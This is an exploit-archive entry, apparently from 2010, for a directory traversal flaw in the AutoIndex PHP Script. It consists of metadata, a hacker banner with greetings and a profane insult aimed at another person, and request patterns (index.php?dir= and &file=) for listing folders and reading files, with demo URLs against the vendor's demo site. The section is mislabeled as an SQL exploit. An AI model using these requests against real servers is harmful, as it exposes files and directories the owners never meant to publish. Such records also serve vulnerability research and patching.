AutoIndex PHP Script - 'index.php' Directory Traversal

Author: Red-D3v1L
type: webapps
platform: php
port: 
date_added: 2010-01-06  
date_updated:   
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 11051.txt  
==============================================================================
    [?] AutoIndex PHP Script (index.php) Directory Traversal Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ AutoIndex PHP Script ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://autoindex.sourceforge.net/]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ]
########################################################################

===[ Exploit SQL ]===

[»]exploit : [Path]/index.php?dir=[S0me f0LdEr]

[»]exploit : [Path]/index.php?dir=&file=[S0me File]

[»]dem0:

http://autoindex.sourceforge.net/demo/index.php?dir=&file=note.txt       << This file

http://autoindex.sourceforge.net/demo/index.php?dir=icon%20tests/test%20dir/   << This FoldEr



==============================================================================